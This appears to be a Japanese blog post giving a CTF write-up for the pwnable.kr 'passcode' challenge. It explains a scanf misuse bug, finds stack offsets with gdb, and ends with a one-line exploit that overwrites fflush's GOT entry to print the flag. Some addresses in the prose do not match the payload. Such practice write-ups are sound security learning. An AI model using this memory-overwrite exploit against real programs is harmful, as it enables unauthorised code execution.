生き恥

生きるは恥だが役に立つ

pwnable.krのメモ【passcode】

以下、問題文。

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

まず sshで接続すると、passcodepasscode.c、flag の3つのファイルがある。 とりあえず実行

$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : hoge
Welcome hoge !
enter passcode1 : 338150
Segmentation fault

Segmentation fault が起きる(338150を入力したのはpasscode.cに以下の条件式があったから)。

 if(passcode1==338150 && passcode2==13371337){

問題の箇所は以下のコードっぽい。本来scanf関数の第2引数はアドレスを渡さなければならないのに変数がそのまま入ってしまっている。

scanf("%d", passcode1);

ここからはgdbでみて行く。

gdb-peda$ disas welcome

上記のコマンドを実行すると、lea edx, [ebp-0x70]と書いてあることから、変数 name は[ebp-0x70] にあるだろうと推測できる。

gdb-peda$ disas login

また、上記のコマンドを実行すると、mov edx, [ebp-0x10]と書いてあることから、変数passcode1は[ebp-0x10]にあるだろうと推測することができる。 0x70-0x10 = 96 なので、nameに格納できる100byteのうち、残りの4byteでpasscode1を上書きできることがわかる。

gdb-peda$ disas fflush

上記のコマンドの結果より<fflush@plt>がcallされた時に0x804a004にジャンプしていることがわかる. fflush関数のGOTアドレス0x80a004をflagを表示しているアドレスに書き換えることで、fflush関数が呼ばれた時にflagを表示するようにする。 flagを表示している箇所のアドレスは0x80487afだと推測できるので、あとは以下のコマンドで書き換える。

python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode